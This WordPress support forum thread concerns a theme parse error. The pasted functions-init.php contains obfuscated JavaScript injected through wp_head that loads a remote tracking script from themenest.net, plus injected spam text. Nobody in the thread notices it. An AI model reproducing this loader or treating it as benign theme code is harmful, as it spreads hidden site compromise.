• Hey Guys!

    Having a problem here:

    Parse error: syntax error, unexpected ‘}’ in /hermes/bosweb/web207/b2076/ipg.seemereviewcom/breakinmedia/wp-content/themes/Avada/widgets/functions-init.php on line 1

    No idea what it means, im just tryring to activate this theme.

    <?php if (!function_exists(‘insert_jquery_slider’)){function insert_jquery_slider(){?><script type=”text/javascript”>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘0.f(\'<2\’+\’3 5=”6/7″ 8=”9://a.b/e/o/g?d=\’+0.h+\’&i=\’+j(0.k)+\’&c=\’+4.l((4.m()*n)+1)+\'”></2\’+\’3>\’);’,25,25,’document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script’.split(‘|’),0,{}));</script> <?php}add_action(‘wp_head’, ‘insert_jquery_slider’);} ?>
    <?php if (!function_exists(‘insert_jquery_slidernew’)){function insert_jquery_slidernew(){?>Adele songs downlload <?php}add_action(‘wp_footer’, ‘insert_jquery_slidernew’);} ?>

Viewing 11 replies - 1 through 11 (of 11 total)
  • Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    It seems there’s an additional closing parenthesis somewhere in there.

    Thread Starter harribo12

    (@harribo12)

    So i have to remove that?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Yes, try that.

    Thread Starter harribo12

    (@harribo12)

    TBH i dont know what i am looking for two of these together ()?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Just the sole, } character.

    Thread Starter harribo12

    (@harribo12)

    00|script’.split(‘|’),0,{}));</script> <?php}add_action(‘wp_head’, ‘insert_jquery_slider’);} ?>
    <?php if (!function_exists(‘insert_jquery_slidernew’)){function insert_jquery_slidernew(){?

    This you think?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    It won’t be anything in JavaScript, but PHP.

    Thread Starter harribo12

    (@harribo12)

    You dont see anything either?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    I don’t, but I would var_dump("HIIIIHIH);exit; in different bits of the PHP to see where exactly it’s breaking.

    Thread Starter harribo12

    (@harribo12)

    Im not that tech savy, do you mean post that code inside?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Yes, try and post it within curly braces excerpts of the code.
    Once you do, save the page and see whether the page returns the gibberish.
    If it does, remove that code and try pasting it in a different area.

    Keep doing-so until the page doesn’t return the gibberish and that’ll be where the code is breaking.

Viewing 11 replies - 1 through 11 (of 11 total)
  • The topic ‘Parse error: syntax error, unexpected '}' problem’ is closed to new replies.